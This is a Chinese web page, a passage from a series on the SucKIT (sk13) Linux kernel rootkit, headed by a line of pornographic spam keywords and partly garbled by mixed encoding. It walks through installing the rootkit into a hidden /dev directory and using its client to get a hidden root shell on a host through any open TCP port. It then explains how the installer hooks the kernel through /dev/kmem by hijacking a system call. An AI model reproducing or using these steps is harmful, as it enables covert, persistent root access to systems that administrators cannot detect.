日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

縮水版 Linux后門系列--由淺入深sk13完全分析( 三 )


生成了一個安裝文件,是一個shell腳本,他會自動安裝后門的 。我們直接執(zhí)行他就可以安裝了


以下是代碼片段:
tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install
us into memory. Have fun!

我們的home目錄就在/dev/sk13了,以后我們的相關(guān)的程序就都放這里好了,隱藏的,管理員看不見 :)
以下是代碼片段:
tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000

嘿嘿,安裝完畢,我們現(xiàn)在可以使用客戶端登錄了,客戶端在編譯sk的時候也一同生成了的,我們一起看看,很爽的,只要對方開放了任何一個TCP端口,我們就可以通過這個端口進(jìn)入系統(tǒng),權(quán)限是root哦 。

以下是代碼片段:
tthacker@wzt:~/sk# ./login
/dev/null
use:
./login [hsditc] ...args
-h Specifies ip/hostname of host where is running
suckitd
-s Specifies port where we should listen for incoming
server" connection (if some firewalled etc), if not
specified, we"ll get some from os
-d Specifies port of service we could use for authentication
echo, telnet, ssh, httpd... is probably good choice
-i Interval between request sends (in seconds)
-t Time we will wait for server before giving up (in seconds)
-c Connect timeout (in seconds)

tthacker@wzt:~/sk# ./login -h 192.168.1.1 -d
/dev/null
Listening to port 43544
password:
Trying 192.168.1.1:80 ... -->嘿嘿,開了80我們也照進(jìn) 。
Trying...Et voila
Server connected. Escape character is "^K"
/dev/null
[tthacker@localhost sk13]# -->yeah
我們進(jìn)來了,我們在這個環(huán)境里執(zhí)行的任何程序的進(jìn)程,開放的任何端口,管理員都看不到的,不過千萬別刪除別搞破壞啊 。;

知其然,知其所以然,我們一起從代碼級別仔細(xì)剖析這個超級強(qiáng)大的sk吧 。

四、install.c執(zhí)行流程

sk的優(yōu)點(diǎn)我們就介紹完了,那么到底它這么強(qiáng)悍的功能是如何實(shí)現(xiàn)的呢?最近我在分析sk2的代碼,對它的hook原理還不是很清楚 。于是就想看看sk13b的hook方法和它有什么區(qū)別,沒準(zhǔn)還能多給我一些提示呢 。于是翻出了sk13b代碼分析了通,hook原理與sk2的真不相同 。
如作者所說,sk13b把系統(tǒng)中一些不經(jīng)常用的系統(tǒng)調(diào)用替換為kmalloc()的地址,然后給那個系統(tǒng)調(diào)用傳遞kmalloc的參數(shù),就可以在內(nèi)核空間為sk分配空間了 。為了學(xué)習(xí)我把分析過程寫出來,如果有什么不對的地方,歡迎斧正 。

install()函數(shù)的功能是為kernel.c做初始化整備,并把sk裝載到內(nèi)存中 。這也是sk hook原理最精華的部分了 。
首先得到idt表的地址,然后得到int 0x80中斷描述符的地址,通過讀kmem把其int 0x80中斷描述符的內(nèi)容到idt80結(jié)構(gòu)中,然后提取出system_call在系統(tǒng)中的實(shí)際地址,在通過get_sct函數(shù)得到sys_call_table的地址 。用kmalloc的地址,替換oldolduname系統(tǒng)調(diào)用的入口地址,在利用kmalloc在內(nèi)核為sk分配空間 。
最后轉(zhuǎn)向kernel.c繼續(xù)執(zhí)行 。

上述可能忽略了很多具體的細(xì)節(jié),我將在第3部分給出詳細(xì)的解析 。

推薦閱讀